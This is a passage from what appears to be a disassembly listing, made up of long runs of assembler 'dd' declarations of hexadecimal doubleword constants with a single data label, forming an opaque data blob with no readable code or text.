		dd 8A00764Fh, 95C0B8DDh, 0A80C1A7Eh, 0A0298Ch, 8E88C8F4h
		dd 99214091h, 0CE815B00h, 57FA85E7h, 7BB805h, 7630C91Fh
		dd 8D4B7968h, 77D4F950h, 61716F34h, 3B1F4081h, 483E0CD0h
		dd 12C32054h, 71097DF9h, 2210F104h, 6483E420h, 1D990068h
		dd 0BAD7B8CBh, 5DF48850h, 0CE8E7D02h, 44D31EB9h, 10CA20A0h
		dd 109C0524h, 11F41F62h, 242423C4h, 501F8F36h, 3FD625C1h
		dd 2982E2F8h, 5E755C69h, 270C2141h, 4429261Ch, 0C3ECDEC0h
		dd 9AF074D7h, 0E429505Ch, 62574081h, 3CA56D03h,	189E9434h
		dd 690B1BD1h, 0FF2D22Bh, 1657E605h, 1D847ECDh, 132D1C80h
		dd 50C548F5h, 4AC630A0h, 705CFF01h, 94736AE5h, 7CFBE8CFh
		dd 0FCD3039Ah, 1741C993h, 84513101h, 86998E31h,	591BE5E8h
		dd 298330A9h, 99147BAFh, 0C3CC888Bh, 0EDC6D2B5h, 231EAC04h
		dd 3E748B4Ah, 0CB348924h, 7C40CB02h, 9D0CF8A1h,	45D2302Ch
		dd 5A69CB0Eh, 0C487A10Fh, 0B448533Ch, 0F88E4D04h, 0FAC4D095h
		dd 176942F5h, 62BCB018h, 0E7C81312h, 0C12F1829h, 31C07075h
		dd 0C4032F09h, 6C5C0054h, 6D19BFB9h, 45F80CDEh,	0EF320D00h
		dd 0C56A8C73h, 20100E5Dh, 68219602h, 2422E8EDh,	40CD260h
		dd 6074CFF6h, 4485E4B5h, 0BC9B174Fh, 6501B01Eh,	29B34549h
		dd 20E2F821h, 887F2B57h, 810A0F75h, 74CB6DD8h, 63AF604Fh
		dd 37D9704h, 14CCAD3Dh
		dd 1801F451h, 4FA294C7h, 7CD0D393h, 45AA0766h, 1083076Bh
		dd 0C5BCECA7h, 0A0A4F600h, 0B0029995h, 635E0C56h, 86394E52h
		dd 725D713Ah, 60C064F0h, 57F11A9Ch, 0CD0A3046h,	675E7D18h
		dd 76009979h, 2330B571h, 107E4Ah, 954B28B2h, 57013C4h
		dd 0F0BB3903h, 0A324CF2Fh, 0A8581891h, 0BF9349F6h, 3FC5F103h
		dd 9882AE68h, 33295CD3h, 6E70F301h, 75EE8900h, 111DD63Ah
		dd 0B4DA1B24h, 21CB5869h, 3F7A4900h, 0C957DF62h, 3FB59829h
		dd 9FCC1751h, 1E91F501h, 809065F8h, 0AA37FB50h,	9D585F0h
		dd 0FCD9D8A4h, 7067AC80h, 0FD0065B4h, 13B8BC83h, 0E05F6F7h
		dd 72289A68h, 35B048E0h, 7F7E34D9h, 0C06E1C09h,	6A3D0117h
		dd 24975063h, 298F03C6h, 0C08DD1B1h, 67741350h,	7C00EAF4h
		dd 0F58BAB64h, 0FE8610Ah, 0B508F2D2h, 5E6C2818h, 27F731C3h
		dd 1C4E0CB7h, 0B10A0C4Ch, 21C43430h, 0C387BCD7h, 0E1BDD9A1h
		dd 0B3AA4D90h, 791DDE00h, 872D755Dh, 0D3F70373h, 1CD00413h
		dd 0E029D0AFh, 0DC7DA155h, 147E0C03h, 96C77383h, 0A6F60179h
		dd 3EC85ED0h, 0E66B3034h, 0D193B402h, 80436CFBh, 0ECB8A950h
		dd 10F0636Dh, 1900873Fh, 438F3552h, 127EBCB7h, 1340467h
		dd 9E75ACE2h, 72FAC0D5h, 8B74C718h, 8AD071h, 0E4643127h
		dd 3A45D7D2h, 41F12E0Eh, 0A8D4E012h, 0F8C916D1h, 0E2A10775h
		dd 9D65ED87h, 0F7D0E0B8h, 17B5D818h, 0E00CB210h, 5A720FDBh
		dd 41C1788Fh, 80F42B23h, 0EFECA4B8h, 7AD5CD82h,	80126FF2h
		dd 7547CE80h, 7B50B93Dh, 0DA42ECB4h, 248A7400h,	72951A6Bh
		dd 0A30F4AEh, 853229C9h, 7FDE0037h, 0EA47AD6Dh,	9100193Ch
		dd 0C45D071Ah, 490631h,	9AA0C60Fh, 1173051Ch, 0D6D1D50Eh
		dd 2634009Eh, 15199290h, 0E0724A93h, 0C16D2386h, 8DB93F00h
		dd 0DFFE6642h, 20CA00A2h, 6EDA83B2h, 13050139h,	1C77EA86h
		dd 9A9EF800h, 0BFEA5h, 9305E8C8h, 0A2BCA17Ch, 0C1B7BCA8h
		dd 3100B07Eh, 0FFA5B899h, 0F8C4593Ah, 0F8C60094h, 0D95D2392h
		dd 14923CF7h, 5E427888h, 22066400h, 29E8A7Fh, 4AF405B6h
		dd 80830CC0h, 4F953943h, 0A8A4FE12h, 75733E00h,	94CBFB7h
		dd 9F5AA581h, 453A2C02h, 0B26B1C48h, 0FA8B900h,	87B1AE0Ah
		dd 0C3B50546h, 670CE7E5h, 0D2ABE288h, 0F5C1D090h, 0E2BFDA0Eh
		dd 853C9F78h, 7D95CD0Bh, 7DD34B83h, 69686F29h, 52AAAB01h
		dd 0D38DE893h, 570BFF15h, 5D6C0DB0h, 0D6F329ECh, 1475F831h
		dd 0D8CCF955h, 56232C0Ch, 24EA131h, 86EDDE80h, 0EA733B48h
		dd 0A4B6017Bh, 5E6221C0h, 0D6519484h, 0ED9CC1E4h, 73D810C8h
		dd 0A5210936h, 98811629h, 0E96CA412h, 8BA06069h, 0C9A84038h
		dd 0D3029218h, 8A8D189Eh, 890964A0h, 788C0027h,	26B14372h
		dd 40140AA9h, 0C0C2ACCBh, 745B1D00h, 2CEECFD6h,	403E1EECh
		dd 40D49CBEh, 754972ABh, 8090B259h, 0DC0AA811h,	0F1008F39h
		dd 40F25634h, 760AA12Fh, 0F4DC8CDFh, 7510AC20h,	0D332417Fh
		dd 90984480h, 0F8E258D9h, 34EB1E00h, 3075782Eh,	5A8ACABh
		dd 586CA883h, 0BE944F43h, 70BC95h, 61A4A1ADh, 422F3057h
		dd 73D87B00h, 74B272DCh, 36660069h, 547DA0D7h, 0E4269EAFh
		dd 0D1C298F5h, 0F13C23DBh, 250B6107h, 59001A71h, 2493BE9Fh
		dd 0EFB8296Ch, 0F9F20031h, 29BEA60h, 54D60210h,	61198539h
		dd 0DDA82C60h, 82ED8403h, 0F2A7BBh, 5B6CDE61h, 1D67CEB4h
		dd 4D207F09h, 0D8B8A256h, 0D2C00F7Ch, 295F17AFh, 3C882357h
		dd 8151B537h, 92C43080h, 1D0528C6h, 8BAC5CEDh, 0AEF8F200h
		dd 0C45C993Eh, 0C5EA9B0Fh, 189CF577h, 3416F23h,	35F21233h
		dd 0A7140169h, 0F8F9178Dh, 60047F06h, 0F6ACC7B0h, 526CA8CCh
		dd 0E2249452h, 0E9D8C734h, 2861D89Ah, 50D448BFh, 42A11B00h
		dd 4E0D5589h, 251D0979h, 0B402E2E3h, 0D604E8B7h, 23DCACC2h
		dd 0D7C34146h, 0DA0111DEh, 0C779BF27h, 5980CF72h, 600592A8h
		dd 0B0854Eh, 0BBF9ECA0h, 0A1498F8h, 2987E13h, 1C9EB1F6h
		dd 448CC4F3h, 995C90CDh, 224D1E3Bh, 0A5E0C100h,	0AEA8BC45h
		dd 8AC700B8h, 151264D2h, 8060BCD4h, 0A04E6341h,	373A05ACh
		dd 8ADACF0Bh, 6A9E0CC8h, 0A576C1F0h, 6B1D81C0h,	0F0AE8D65h
		dd 0D4E8943Ah, 0FEA79000h, 0A398697Dh, 6461779h, 0A004684h
		dd 947D516Eh, 6ACC8760h, 0D9208Bh, 0FC304650h, 0EFED5583h
		dd 0D04C0B2Bh, 8B5D6808h, 601098B1h, 0E8A8583Ch, 9D017555h
		dd 98445380h, 1830F5E1h, 20A1180Fh, 0BD54B16Ch,	0C400CC77h
		dd 9D603C2Bh, 36F97A0h,	0F52535CFh, 0D2F44A27h,	0ECA51BA0h
		dd 0A29820B9h, 0F1EDD4Bh, 1E4A0B2Fh, 33C5B43Dh,	50C3F480h
		dd 0C5E93BE2h, 3039A7B5h, 193BD978h, 4D02E600h,	36F24568h
		dd 163F0047h, 0A143B580h, 8609415Eh, 89F8EC13h,	0F9F013BBh
		dd 4C82174h, 2830B3D7h,	1803267Ch, 409580E4h, 3E92A7BFh
		dd 787C4B17h, 5C45942Ch, 6C82184Ch, 0E064E840h,	8BBFF9C8h
		dd 909846E2h, 0B51F29Ch, 74A86064h, 0BBF284h, 56839BFh
		dd 0DAA84DE1h, 54ACC8F8h, 0B1DF4100h, 0CC797ADEh, 0BC6CBB74h
		dd 0C5123E0Ch, 0D1E82238h, 80BA893h, 0D87804BFh, 60197741h
		dd 1DEC3073h, 22B1B940h, 0F326DE99h, 0AA53E46Ah, 73742512h
		dd 810972DCh, 48B0F5CEh, 7BFB683Ch, 0E51F8BAh, 0CB6D39A1h
		dd 131CDB22h, 0FF1558C6h, 2C8C50FAh, 0AD40DC0Ah, 26AFE2CAh
		dd 0E2342A41h, 8729BADBh, 4448400Ch, 121E40CDh,	0B754CFh
		dd 297C22E4h, 0A18F92F0h, 24CC724Dh, 5B40800Ah,	345BFA4h
		dd 3A4DACA7h, 4FA0C914h, 9E05DBA3h, 0F3625492h,	0B9148097h
		dd 605E9547h, 0B74367AFh, 339E189Bh, 7FC4943Ch,	0BC4098F0h
		dd 0A0170AB8h, 4090BF32h, 7089F27h, 0D412A277h,	0B42431F2h
		dd 1E2EB0CCh, 7192D1h, 41055D07h, 0E02CB7B0h, 0FC26CC3Dh
		dd 8023B9C5h, 0A4C0B038h, 5FD201A0h, 94AD4F4Ch,	890C724Bh
		dd 0DA704808h, 0ACDE52C5h, 4044202Eh, 98B040A6h, 0FA798900h
		dd 6CC64ADBh, 28033CC8h, 9B946E3Eh, 0B059C9D7h,	5E49630Dh
		dd 93E820F9h, 0B0D4F544h, 61442070h, 14556C28h,	1952FF18h
		dd 0BA17389h, 0A7B698D1h, 0C2B5FC90h, 0EC3F0700h, 39762599h
		dd 35C100A4h, 5A787292h, 8F000CEDh, 0F83EC8CAh,	0F8A60F54h
		dd 7162008Dh, 5237655Fh, 0D600D997h, 0B6B2A069h, 3FD29D3h
		dd 0B750DDC6h, 29009E63h, 91C92FBBh, 0E08AD6h, 1C3EFD20h
		dd 28A196D0h, 0BDCA0900h, 0DE5E8B95h, 85CF0173h, 684399DFh
		dd 0D1AAE050h, 120F1FEEh, 0D906D20Fh, 48DDAB88h, 8E84FF00h
		dd 0C3E37102h, 60626B10h, 0D3DB114h, 0EB72F38h,	8037F129h
		dd 0AB4F7D91h, 3BE65989h, 0C1381D40h, 54F12D8Ch, 96064820h
		dd 1B122CC0h, 3746F036h, 1F4828CDh, 796BBDC0h, 0B003FB3h
		dd 6B7742Fh, 0F43510Eh,	0AD2CC214h, 0B52039F8h,	0AA6588h
		dd 0A63F1EEBh, 0E23BBECCh, 3CBBC903h, 2FE0B6h, 8FB0B131h
		dd 2E533935h, 0CECAF600h, 822AF9BBh, 0A1473E37h, 96435500h
		dd 0CBF2B749h, 7135E106h, 3169CCDFh, 40F8373Dh,	0E3971019h
		dd 8C61C466h, 0D574C103h, 0D8E37195h, 0F638A675h, 52B786B4h
		dd 1050E874h, 3F2B5BE7h, 9C632AC8h, 4920E330h, 1FDC4673h
		dd 0C0E8A198h, 0B5F85A27h, 100D61Dh, 0E01C20B0h, 0E646B135h
		dd 3CE88037h, 2A174001h, 638365B8h, 25B2C02Fh, 97E8FA34h
		dd 48C45B1Dh, 0C8B92718h, 43F600D4h, 598DBAC6h,	0CD0095ECh
		dd 4BE6EF20h, 1481C532h
		dd 8C3CAE2Bh, 0BC0D4D0h, 39B8CBE0h, 9A802102h, 4062699Eh
		dd 18059724h, 692AA8A7h, 711CE04Fh, 1F9B4DDh, 6BCCD527h
		dd 21D5A23Bh, 0D88DF180h, 6AD67F7Dh, 6E019D00h,	0A3299E1h
		dd 0E72A00F3h, 233D69A3h, 89141BD6h, 0A7CD371h,	0A0BA2CC5h
		dd 0C4E400BCh, 0C26E418Ah, 21DC0F51h, 9CE0B088h, 0D2C39401h
		dd 0EC56AA01h, 8CACC967h, 0F9713986h, 4398D9C1h, 612B9DFh
		dd 8B89CC30h, 0F2D0A4E0h, 0CF080F7Bh, 3CC04EA2h, 86FBAA8Eh
		dd 7F4F9800h, 0FDABDEB5h, 221F00DBh, 0CB556089h, 0D0C938Ah
		dd 614B8035h, 0C023E9DCh, 74280623h, 2225C622h,	2600CB46h
		dd 88EB5EE9h, 53989h, 0EA0DE169h, 27479AFBh, 80A01A7Ch
		dd 0B7098D3Ah, 24AEC7Ch, 44B25E68h, 0BFCF001Ch,	0F936A921h
		dd 900B6ECh, 0CAB1567Ch, 0C12BBEh, 890A6813h, 57D36DAh
		dd 620D547Ch, 40400C41h, 26C9C003h, 4000AA91h, 4A81E285h
		dd 4FCD5C05h, 682229A6h, 0A99C4037h, 0F896B8C0h, 0C4555036h
		dd 0A491ABh, 159D73F2h,	8CEC3C4Bh, 9FD2710Bh, 2C520090h
		dd 2A0D3DEBh, 7DFC347Dh, 76BC0084h, 39FF5A8Bh, 149972B7h
		dd 62C3DA82h, 0EFB4A192h, 0FCFBF015h, 0CA5E40C0h, 0E22C0075h
		dd 0FE3ADAC3h, 50F90A93h, 8ED96870h, 210250ECh,	0BE82E137h
		dd 2A086648h, 0CC24E3h,	0B992AB5Eh, 0FC1DF0Ah, 6AB52C01h
		dd 0FA29CE90h, 7862DCD4h, 9E9D131Ah, 0C084210Dh, 0C441A01Dh
		dd 4CFE8F01h, 61BF51Eh,	0A4607837h, 751C98AAh, 20683A12h
		dd 4898CD11h, 14E16F84h, 6FC31EDCh, 538ADE80h, 0D6AEBF8h
		dd 2D8E20B6h, 0C4880D31h, 0D5028218h, 1D05BB9Eh, 3BB46139h
		dd 6864F423h, 4062440Fh, 0ED4FC340h, 3E15E019h,	83F004F6h
		dd 2470B2C9h, 40ECE329h, 0E795EDDh, 7685D603h, 878F77B0h
		dd 84393B0h, 7835F496h,	725F0CE1h, 92416A6Eh, 0CA545628h
		dd 114F895h, 0C0F1E7E0h, 0D85D8B6Fh, 0B7713F37h, 0A8758E26h
		dd 34EC8C20h, 0DA9188h,	25AAF090h, 377AE710h, 8E9CBE4Dh
		dd 2BB4A66Dh, 71120931h, 6820CA9Dh, 8F72E236h, 1C59912Ch
		dd 131A9960h, 0F9F6FAh,	15E49DADh, 776A0F4Ah, 20132843h
		dd 977C20E2h, 6349DE71h, 8027C58h, 0EC319A28h, 0E6986C6Bh
		dd 0CF9C18Fh, 0D8307747h, 161D10D4h, 67409B7Bh,	187250B6h
		dd 0C3C910Fh, 6BB1C846h, 0ECE32300h, 4AED2996h,	0D63924DDh
		dd 878E09F1h, 21113C04h, 7E08781Eh, 533F4124h, 99FE8A09h
		dd 44E01C74h, 0E22D00AFh, 1E8DC232h, 3C129768h,	5C20E395h
		dd 3A85E533h, 0CD0094FFh, 0EF324F1Ch, 6F179F82h, 2C645441h
		dd 919D840Eh, 49B2C80Ch, 4D1566F1h, 0C2888B96h,	8923C32Ch
		dd 93F41174h, 9478FBh, 9A94680Dh, 3270DF57h, 90A77D2Ah
		dd 71CCB57h, 0F9A1CAE2h, 0DCCB3A80h, 43DE2431h,	0D95C00B4h
		dd 7BBF9E9Ch, 0C09078D4h, 0DEE584CDh, 9DEE07C5h, 90C4C53h
		dd 0BF792018h, 516EB526h, 0A9641C26h, 84C76B20h, 33F37D09h
		dd 0BD81097h, 0BB403B31h, 22A07696h, 3CEC36A4h,	9500EC86h
		dd 684A4C6Bh, 0E9E479h,	3BCEAF3Eh, 1AE33A2Ch, 0D7B0E9C0h
		dd 2F29918h, 93E0BCDFh,	0CC4CF7BFh, 9BC3E4Dh, 2546B7B5h
		dd 9420E398h, 1D89F6AFh, 0B154FAh, 0B6BF0F90h, 3805F78Eh
		dd 0C4FD0D51h, 255EB082h, 79249882h, 685828F0h,	6E7F0A17h
		dd 838B8043h, 42A081EDh, 21D0AC54h, 0B8089151h,	0DDE6887h
		dd 17F6F19Dh, 3B584889h, 3521BE81h, 0EE77074h, 7ED112Bh
		dd 7E8AAD40h, 770EF82Dh, 6117879Ch, 35B5206Bh, 0C6288C32h
		dd 0F8966458h, 0B8DC4032h, 0C08C2340h, 9CB6F488h, 960F7A4Ah
		dd 0DEAE1395h, 948B218Ah, 0FA8FB300h, 1D69970Bh, 63FDEF0h
		dd 305CBDCAh, 7861667Ah, 0B1DA5D38h, 2FB0FE4h, 7FA0DF0Bh
		dd 1482BE67h, 0E207C34h, 727828C5h, 0BCBE0C22h,	7A18B3B5h
		dd 6D17B600h, 0B4A7BBFCh, 9AEB00A9h, 552A7739h,	0C37BC101h
		dd 0B9F32200h, 1C99EF82h, 6D5C00F4h, 621D34Eh, 0A101077Ch
		dd 3EFE4D62h, 88834A74h, 0B5D2ABEFh, 3544E100h,	0AF8FDBBEh
		dd 5F79303Eh, 572C1418h, 0B0E18A01h, 1963C08Ch,	87D2C4h
		dd 398FBB68h, 0E78D7AD0h, 99A66C06h, 751BE9Ch, 50538718h
		dd 436C5AACh, 0F1000317h, 50D3CCA1h, 11A49B2Ah,	3291F94Dh
		dd 2152B8FAh, 8651117Fh, 4CC6691h, 0DFC5F841h, 5AF50031h
		dd 6A3E20D8h, 0F9685060h, 0C237167Eh, 7717F539h, 1CD18120h
		dd 0C86D00BEh, 1FF352C9h, 0D0033135h, 93DD828h,	5A32C810h
		dd 0FC36B03Fh, 43C23A5Bh, 6BB3528Ah, 243180D8h,	66A395Dh
		dd 1C73D31Dh, 2763A640h, 38A9AE77h, 0F100B360h,	86CA945Ch
		dd 0AB1507DEh, 1490B428h, 0C78D1B6h, 5962B34Dh,	0B975015Fh
		dd 0AE5B653h, 94F1D0A5h, 0B485F233h, 1D380598h,	8A79CEAh
		dd 7980B7B8h, 4D46EC86h, 3E49795Eh, 6880DCA5h, 0F4E60EBFh
		dd 9C18D281h, 5D313665h, 0A5CF03E4h, 0AE1DD493h, 71501E64h
		dd 0EE696040h, 67012084h, 293CB37Dh, 2023FD25h,	7A61C720h
		dd 0A7B5BDB9h, 352BD180h, 72AADF4Bh, 3FADA10Fh,	14DCE727h
		dd 0BB229800h, 6C07031Fh, 35430A81h, 63A04798h,	0D867392Ah
		dd 0C95B2102h, 0C02CCC55h, 0ADC3EBh, 0F4A4BB54h, 0C706DD04h
		dd 0ACAF3724h, 0D6B6DAC0h, 0C3E6044Ah, 40752A10h, 187A6019h
		dd 0C7230131h, 0CA2559D2h, 0F5FD6058h, 0F3E6BE09h, 4AD986BFh
		dd 380800C1h, 7CC146DAh, 0AAF4BB56h, 0CD769006h, 0FFF1699Ch
		dd 582D3480h, 56FA459Eh, 81534938h, 3D4D6DB5h, 23F08E76h
		dd 0D8D05392h, 88746050h, 9088A6B5h, 0F7130034h, 0FD5FF9F8h
		dd 4EEE8222h, 0C5307B01h, 4D9C6A70h, 3D04CC51h,	1C0D0C0h
		dd 58F272Ch, 0E48B7764h, 940A29E8h, 0E470DC0Ch,	88DE4E63h
		dd 0DD8E19h, 0A55E81A2h, 0D00920D6h, 54E84104h,	5CC839DCh
		dd 1259724Dh, 483D8E2h,	0D5020Ch, 6961A5F5h, 0F9F4E7F4h
		dd 7C10352h, 8F3566A3h,	26ABD158h, 113019AEh, 0F2A4B4Eh
		dd 6E01F3EEh, 22A6C420h, 0BC0EFC4Ah, 8043B903h,	9818761Dh
		dd 48FCEAh, 0E70F2EABh,	1E362F9Bh, 5144189Ah, 2A235CCDh
		dd 9DD6D300h, 127F837h,	954D88C0h, 48C0690Ch, 4C84F853h
		dd 0C4065EFDh, 45D092B2h, 504BC956h, 9A77E990h,	0C776C400h
		dd 4771E338h, 735C041Dh, 82F699A4h, 0EA239E0Ch,	0B8E09B79h
		dd 3FE9C61h, 4217DC44h,	792C7BE4h, 54032E6Bh, 887E8081h
		dd 21AAEA2h, 2601E9A5h,	28600813h, 0A8E0238Ah, 39783E30h
		dd 0DB39D8h, 0C4FEE480h, 45BA9190h, 6301B6F2h, 81D63C52h
		dd 8C4C98A9h, 0B08733B9h, 49963999h, 98818D00h,	2DABDF6Ch
		dd 0FD440F4Dh, 0B780C8E1h, 0BF5316FFh, 0C63FED74h, 0BF40AABh
		dd 3962A436h, 1F0448BCh, 52EE13D6h, 1019148Fh, 0C11579C0h
		dd 8C4C3467h, 68B3262Ch, 0E8AD6540h, 0D3720261h, 7E3E3DC0h
		dd 0D84C3CC4h, 0DDA9C2CCh, 847C8039h, 3C2B47B1h, 0C0DBB0E8h
		dd 0B692364Ah, 97DA7200h, 3F1477DBh, 8191042Fh,	0C82AF46Eh
		dd 0D300F7E4h, 4A7EBF5Fh, 2C11Eh, 0D23E8E70h, 6F02CDDh
		dd 0AB27BE01h, 0A1B2D1B4h, 6582A980h, 9A4FD73Bh, 472CA8ACh
		dd 51E45460h, 0E17E8441h, 9ED69EF9h, 0ECB66D00h, 4979A581h
		dd 7A212C7Bh, 0EF074D11h, 0D0BD1502h, 4E0857DCh, 6EA50100h
		dd 66B68D40h, 61066138h, 64941E7Fh, 0B093ED64h,	3F28BB15h
		dd 3D943DF4h, 0A9E98F2Ch, 2541A0BCh, 7DB936Ch, 0B775F72Bh
		dd 3F5C5AA4h, 54A3AC00h
dword_53D858	dd 46AA9AF0h, 2B0844B3h, 0FC418BB2h, 7C692830h,	0FF4980h
		dd 62034D5Bh, 0D75DC58h, 139B6400h, 2173F3A5h, 969F0398h
		dd 2819600Ch, 0BD2A9AF0h, 5FF8B917h, 859D5C22h,	0F2C1A628h
		dd 528044C6h, 3AFC3ED4h, 0D700DB26h, 77602A01h,	792F747h
		dd 81F5E233h, 4EFA30A2h, 9555BED8h, 0F0DC4C84h,	0C0A32600h
		dd 0B5E582FCh, 31357C8Dh, 9C785F65h, 1B711768h,	0DDF8F053h
		dd 0CE20008Ah, 9EF16BE2h, 0CB04C7B0h, 7E398D0Bh, 3E300416h
		dd 0AB65417Ch, 718BB8D1h, 69A2FCBDh, 0F0E3E75Eh, 9BDD40E4h
		dd 901DE38Fh, 8734B11Ch, 40AE3FD5h, 0D1B1D8CAh,	1BDABB0Eh
		dd 0A036EF1Fh, 281E9906h, 3991F5E2h, 61CD005Fh,	9019B94Dh
		dd 0DC325015h, 3E9B0B28h, 0A098BD25h, 0CD7C1611h, 22BC6540h
		dd 78029FB4h, 491D4241h, 0E4E97F52h, 2DB1804Ch,	9A044A8Ah
		dd 7F77406h, 47F95908h,	4C8050E7h, 0B60379ADh, 2A492F83h
		dd 0E2F8C9F6h, 2CB85980h, 1DB1DF23h, 646A5F2Eh,	894A8488h
		dd 0B4133CABh, 0A940FFE3h, 200D7C8h, 320B6611h,	32CD1591h
		dd 1A496A80h, 0C0444805h, 0B5462DCCh, 0D570414Bh, 0A75A7700h
		dd 8A1FAB3h, 5B762B94h,	0E4016BCh, 0A4A9B4B4h, 0BFCBC430h
		dd 36CE9B00h, 7B3424Bh,	455E00F2h, 0D3483A39h, 555DA021h
		dd 0D6AB0F20h, 0A075C47h, 0E6853DADh, 86FAD8CCh, 7C801C56h
		dd 18BAFA89h, 0D0411066h, 6CBFF52Ch, 4946D30Dh,	209ED402h
		dd 0A1056B4Fh, 8B89D109h, 5C708725h, 62702622h,	40A80800h
		dd 0F8D2BD00h, 7CC41C65h, 643E18B1h, 1480B9ABh,	0DC987800h
		dd 0FFC49282h, 0D29305AFh, 4A1EF8Dh, 0B2376688h, 0E0CF0434h
		dd 170607FAh, 80001969h, 0DCE9687Ch, 0F55C2B3h,	18AECB7Fh
		dd 0BC9AADA0h, 0ED009FA2h, 7411EC36h, 4CD6EE4Ah, 8D128027h
		dd 6600C1C7h, 4CA0233Bh, 2DCB4Ch, 1C645996h, 0DDE00015h
		dd 6218D2D6h, 1B0346C1h, 3501CBA1h, 90F8480Eh, 27BF011h
		dd 921EEDFAh, 0E0844B4h, 0CFB0FC82h, 67116020h,	0E815B9B6h
		dd 486CCC97h, 14170114h, 63F6198Bh, 4CF34F4h, 22FC5B51h
		dd 14B8D297h, 0E25F9440h, 0A023F3h, 0A925F7AAh,	7691E13h
		dd 5FEC6240h, 9A51417Fh, 0B644307Dh, 2C2E88h, 89973CF9h
		dd 4DA46D7Eh, 0F76BF302h, 488DBFB4h, 48BB3C44h,	92101C26h
		dd 7D3400C8h, 64BFEEC2h, 0A6D50001h, 0C91353FCh, 157AC0DEh
		dd 0C11ACA04h, 0B0C1DC9Fh, 0D852682Eh, 85D82054h, 2503C4F0h
		dd 32B65155h, 0CFC106BAh, 0E8FA5899h, 5091FEF8h, 60192B80h
		dd 0C79D14h, 7F49D27Bh,	0BD4FDB35h, 947AB505h, 0C004DA47h
		dd 8B49073Eh, 0E43B3604h, 43054F68h, 0B1261733h, 166A14C1h
		dd 0F5006839h, 8635E71Dh, 9D01DC53h, 55889F0Fh,	0C440F9AAh
		dd 1ED60938h, 0CE7C9A0Ch, 500EB90h, 0C3711458h,	6000E0E6h
		dd 316FE8FBh, 0F728FC5h, 2CB6EE2Fh, 10117D27h, 96B14BF0h
		dd 74E5AC29h, 20F84101h, 40C8CB5Dh, 0B610214h, 7A980F07h
		dd 3E97582Ch, 140F7799h, 74802619h, 4D16DAB9h, 0F3FCA000h
		dd 0A3ED3642h, 1F9713F4h, 5AE447C9h, 41840549h,	0D1577D80h
		dd 0BCFC7083h, 1455F9C7h, 8E9A63C0h, 3C7404AFh,	0C89D5F06h
		dd 8C99D12Ch, 20FC9F00h, 0B9ED8042h, 5B7180ACh,	0A120DB9h
		dd 9CB1EE08h, 2266804Bh, 0EFA23601h, 0A6D2353Eh, 3E0CFAF8h
		dd 39DA9128h, 33817611h, 0D04C090Bh, 18F856E0h,	0FA708400h
		dd 68B59272h, 0B0C890F7h, 0B6734400h, 2AE118ABh, 819A85Fh
		dd 0E0088A4h, 313DA64Bh, 6B810Ah, 4728141Fh, 0DCF740CBh
		dd 0E1DD3930h, 0A055F366h, 58654E4Ch, 73C094DFh, 2387143Ch
		dd 2C92C091h, 0BAC02C27h, 74D4A349h, 844C184Ah,	52398148h
		dd 56F399C0h, 0EC0D58h,	7388B36Eh, 0CEF8D451h, 5CEFBD24h
		dd 0B5186991h, 8CB2414Ch, 0D49AEB00h, 0C19F12CDh, 0A830E743h
		dd 0AB50170Bh, 247C30E3h, 0C30038A8h, 0CBE5219Dh, 621B18h
		dd 0BD3F4BEBh, 0B3929F5Eh, 7EE3C09h, 0C0E8E09Eh, 0D8D1CB94h
		dd 0A490A00Bh, 1B02916Eh, 0AB7E13E9h, 4464E6BFh, 0B400D171h
		dd 0FB7C0B4Fh, 2D54B9h,	8F42C0E9h, 0B8BE36D4h, 0B13229C1h
		dd 24303EE3h, 6B3C061Ah, 69CB3918h, 6A503501h, 0F146E460h
		dd 1BF9D70h, 981789E7h,	0EB0AD88Ah, 0A9601000h,	5F33BC45h
		dd 168E02DAh, 66BE3B59h, 0E403F046h, 9F62D511h,	0F7EFC8B6h
		dd 806492ACh, 8B7DCCE8h, 0F44491B5h, 68B204B3h,	420EB800h
		dd 0D3D98279h, 0A8CAC600h, 0B108D415h, 45192E06h, 8CD205F0h
		dd 0A218A4ABh, 0D00063FEh, 0EE113301h, 1E16FD5h, 0BEDCA75Dh
		dd 327D5692h, 0A91100A4h, 0FC155B59h, 1C431DF2h, 0D9EB81B3h
		dd 20FE476Ah, 0D40AA420h, 6C742A03h, 3C01FB12h,	22C2CD3Eh
		dd 0D680103Ch, 2070CFDBh, 771AD00h, 351CA601h, 0EE2A00CEh
		dd 84B41A4Bh, 1EB4C14h,	0F848CF7Fh, 0D4A80541h,	7782A87h
		dd 0BCEFFD34h, 63283E21h, 4498D818h, 321FB600h,	8110D0BFh
		dd 0FDEF03FCh, 2325D843h, 54DE1000h, 0BEED26Bh,	89280047h
		dd 0B1D4F921h, 4F01775Ch, 195B69E2h, 19A9239Dh,	80348124h
		dd 70C32EDAh, 0BE163F6Eh, 0C863BDD2h, 0F0CEB80Eh, 2BC20006h
		dd 0F5BB787Bh, 0E74CF94Ch, 3DD68300h, 9118EB4h,	3AC579D1h
		dd 31722D00h, 0CE00A49Dh, 37FCF6A6h, 29DF8819h,	1FCB0D8h
		dd 0C0C185E1h, 0D428C943h, 0D004524h, 345B64AAh, 61CC4089h
		dd 0AE973A92h, 6049F4FCh, 0CCE7513Fh, 81273BC0h, 20F17B70h
		dd 0B980692Ah, 0A96CAB6Bh, 9E75E128h, 6E930200h, 0F1D26885h
		dd 12532697h, 0C20A4D4h, 78397E2Ah, 0C592611Ch,	0E2C0F75Eh
		dd 2E21A1B0h, 73800274h, 25B6601Fh, 0B00A851h, 977F9869h
		dd 92222611h, 0BF400A11h, 421800C3h, 70E6ABD8h,	2D14B8A9h
		dd 806E3DE0h, 3A7BD556h, 0C6502A23h, 0B6E5B119h, 0F5BC9300h
		dd 0FE24880Dh, 144F059Ch, 87D70946h, 1019B164h,	39C8422Ah
		dd 400074DAh, 59381504h, 0E0923B33h, 4B870274h,	6F16A2E4h
		dd 77379C60h, 73684309h, 874083Bh, 0D3607428h, 0CF32F529h
		dd 0FAAF0975h, 5C6661DBh, 1DBC4204h, 2092DC94h,	0A248E075h
		dd 3B491FD4h, 0B803BC32h, 23AA2FDBh, 0C3E847C0h, 69707C04h
		dd 4C83766h, 0BF672F7Fh, 1CD6825h, 0FA35D330h, 117C6856h
		dd 7F0C763Bh, 9CE9641Eh, 0C000A8A4h, 9C5B31Fh, 11C47F7h
		dd 59B9035Dh, 299B791Ah, 532228h, 56FBAF50h, 0C666E3A1h
		dd 0BADF4800h, 2C7FA93Bh, 1C9A1220h, 2A4C20BFh,	8A00D693h
		dd 4CBC5C08h, 0EB9997Fh, 0BA5303CFh, 1D39DDC2h,	7D009444h
		dd 0D3B4D24Ch, 53849B2h, 0CC66E245h, 2C8A6Ah, 155316DCh
